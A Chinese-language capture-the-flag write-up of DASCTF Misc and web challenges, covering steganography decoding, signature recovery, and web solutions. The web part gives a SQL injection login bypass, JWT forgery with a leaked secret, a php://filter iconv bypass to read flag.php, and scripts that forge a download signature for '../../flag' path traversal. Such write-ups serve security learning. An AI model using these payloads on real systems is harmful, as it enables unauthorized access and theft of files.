有好一段时间没打比赛了。

本次随「Ciallo~(∠・ω< )⌒☆」队伍参赛,个人拿下了两道 Misc 题目的一血,还有一道题由于我太菜了,手慢无。

DigitalSignature

1
2
3
4
5
6
7
8
9
10
11
12
from eth_account import Account
from eth_account.messages import encode_defunct

message = r"Find out the signer. Flag is account address that wrapped by DASCTF{}."
message_hash_hex = "0x61a78e3c572c1615a6ddd0a0e20157d22b72b8c217cb247318f2c791f4ab6b85"
signature_hex = "0x019c4c2968032373cb8e19f13450e93a1abf8658097405cda5489ea22d3779b57815a7e27498057a8c29bcd38f9678b917a887665c1f0d970761cacdd8c41fb61b"

signer = Account.recover_message(
encode_defunct(text=message),
signature=signature_hex)

print(f"DASCTF{{{signer}}}")

stegh 小鬼

观察了一下 快乐小鬼 这个文件,貌似是一个 JPG,字节倒了高低位也倒了,先摆摆正:

1
$ python -c "open('快乐小鬼.jpg', 'wb').write(bytes([(i % 16) * 16 + (i // 16) for i in open('快乐小鬼', 'rb').read()][::-1]))"

有俩 JPG,拆一下:

1
2
3
4
5
6
7
8
9
$ binwalk 快乐小鬼.jpg 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
133523 0x20993 JPEG image data, JFIF standard 1.01
133553 0x209B1 TIFF image data, big-endian, offset of first image directory: 8

$ python -c "src = open('快乐小鬼.jpg', 'rb').read(); open('first.jpg', 'wb').write(src[:0x20993]); open('second.jpg', 'wb').write(src[0x20993:])"

拿 ExifTool 看 second.jpg 在 XP Comment 那部分有「新佛曰:……」,但是这不重要了,因为给了如下 Hint:

1
新佛曰挂了,解码出来--pass:2333333

试了一下是 StegHide:

1
2
$ steghide extract -sf second.jpg -p 2333333
wrote extracted data to "pass.txt".

得到的 pass.txt 里面参和了俩个东西,一个是 Base100,解码得到 This_1s_P4ssw0rd

1
👋👟👠👪👖🐨👪👖👇🐫👪👪👮🐧👩👛

还有一坨是 aaEncode,解码得到 Look carefully at the middle of the picture

1
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+/*´∇`*/(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+(゚Θ゚)+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(o^_^o)+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (o^_^o))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+((゚ー゚) + (o^_^o))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((o^_^o) +(o^_^o))+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚ー゚)+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(c^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((゚ー゚) + (゚Θ゚))+(゚Θ゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+(o^_^o)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+(゚ー゚)+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+((o^_^o) +(o^_^o))+((o^_^o) - (゚Θ゚))+(゚Д゚)[゚ε゚]+(゚Θ゚)+(゚ー゚)+((゚ー゚) + (゚Θ゚))+(゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

试探了一下, 快乐小鬼.jpg 在两个 JPG 文件之间还有一串 Base64:

1
2
3
4
$ tail first.jpg | strings -n 10
WmlwcGFzczpLQUdfZ2thX2thZ19HS0E=
$ tail first.jpg | strings -n 10 | base64 -d
Zippass:KAG_gka_kag_GKA

解压 ZIP 文件又得到了一堆 Emoji,丢进 emoji-aes 用 This_1s_P4ssw0rd 解密得到 Flag:

1
DASCTF{Y0u_are_4_1ovely_Gh0st}

Steganography_challenges0.2

题目给了一个 PNG 文件,在 IEND 之后还有一坨 Base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ tail Steganography_challenges0.2.png | strings -n 10 | base64 -d
from PIL import Image
E=range
R=bytes
F=Image.new
x=Image.open
from Crypto.Cipher import ARC4
i=ARC4.new
def t(data,O):
return
def w(data,O):
a=i(O.encode())
return a.w(data)
I=x('your_image.png').convert('RGB')
M,j=I.size
Y=F('RGB',(M,j))
O='monkey'
for y in E(j):
for x in E(M):
r,g,b=I.getpixel((x,y))
n=R([r,g,b])
J=w(n,O)
Y.putpixel((x,y),(J[0],J[1],J[2]))
Y.save('encrypted_image.png')
# Created by pyminifier (https://github.com/liftoff/pyminifier)

整个解密先:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import ARC4
from PIL import Image
from tqdm import tqdm

key = b'monkey'

encrypted_image = Image.open('Steganography_challenges0.2.png').convert('RGB')
width, height = encrypted_image.size

decrypted_image = Image.new('RGB', (width, height))
for y in tqdm(range(height), ascii=True):
for x in range(width):
encrypted_pixel = encrypted_image.getpixel((x, y))
decrypted_pixel = ARC4.new(key).decrypt(bytes(encrypted_pixel))
decrypted_image.putpixel((x, y), tuple(decrypted_pixel))

decrypted_image.save('decrypted_image.png')

图片中间有一小块东西:

edcd67b8-f715-467b-9b21-9ab65d105d1f

把那一小块单独截取出来看 LSB:

25d9b2a9-5b63-4ed2-a92b-40cdb0fa8aa8

提取一下,还是一个 PNG:

1
2
3
4
5
$ python cloacked-pixel-python3/lsb.py extract -i decrypted_image.png -o cloacked_pixel_decrypted.bin -p Oversized_chips
[+] Image size: 2500x2500 pixels.
[+] Written extracted data to cloacked_pixel_decrypted.bin.
$ file cloacked_pixel_decrypted.bin
cloacked_pixel_decrypted.bin: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced

频域水印

46cae39e-0898-40d8-9d8b-aee5d909aaae

SecretPhotoGallery

随便 Fuzz 一下登录框发现能注入,先用 ' union select 1, 1, 1; 让自己登录。下发了一个 JWT:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiJyB1bmlvbiBzZWxlY3QgMSwgMSwgMTsiLCJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3NjUwMDM4NjN9.0CTUd0AHDdVbmlPH3o44XSDSwP1xFRO857wlA7clyLg

HTML 里有一堆一堆的注释,收集起来是 GALLERY2024SECRET

5081549d-f67c-424b-b8a4-1cdf3cbe52f2

试了一下发现是 JWT 的 Secret,那给自己签个 admin 好了:

a03f95cb-a9a9-4f63-a3b2-0cb44c4b4414

File Export 用的是 include ,尝试 php://filterflag.php 发现把 base64 过滤了。问题不大:

1
php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

devweb

不明所以的前端,请求直接往 localhost 发的。逆一下吧,一个带加密的登录,还有一个带签名的文件下载,尝试直接访问 /download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6 被 500 了,还是先看看登录吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from urllib.parse import urlencode

public_key_base64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
target = "http://[REDACTED].node5.buuoj.cn:81/login"

def password_encrypt(password: str) -> str:
public_key = base64.b64decode(public_key_base64)
cipher = PKCS1_v1_5.new(RSA.import_key(public_key))
encrypted_bytes = cipher.encrypt(password.encode('utf-8'))
return base64.b64encode(encrypted_bytes).decode('utf-8')

username = "admin"
password = "123456"

response = requests.post(
target,
headers={"content-type": "application/x-www-form-urlencoded"},
data=urlencode({
"username": username,
"password": password_encrypt(password)
}),
allow_redirects=False)
print(f"{response.status_code=}")
print(f"{response.headers=}")

# response.status_code=302
# response.headers={[REDACTED], 'Set-Cookie': 'JSESSIONID=A08C1D30F87FDDCAAFF9C79648347B54; Path=/; HttpOnly'}

拿着这个 JSESSIONID 再去访问 /download?file=app.jmx&sign=... 能下载到一个 JMeter 测试计划文件,里面有 sign 的具体计算方式。手搓一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
import requests

target = "http://[REDACTED].node5.buuoj.cn:81/download"
cookie = {"JSESSIONID": "A08C1D30F87FDDCAAFF9C79648347B54"}

def generate_sign(mingwen: str, salt: str = "f9bc855c9df15ba7602945fb939deefc") -> str:
# 第一次 MD5
first_md5 = hashlib.md5(mingwen.encode()).hexdigest()
# 截取第 5-16 个字符
jie_str = first_md5[5:16]
# 拼接并第二次 MD5
new_str = first_md5 + jie_str + salt
sign = hashlib.md5(new_str.encode()).hexdigest()
return sign

filename = "../../flag"
response = requests.get(
target,
params={
"file": filename,
"sign": generate_sign(filename)
},
cookies=cookie)
print(response.text)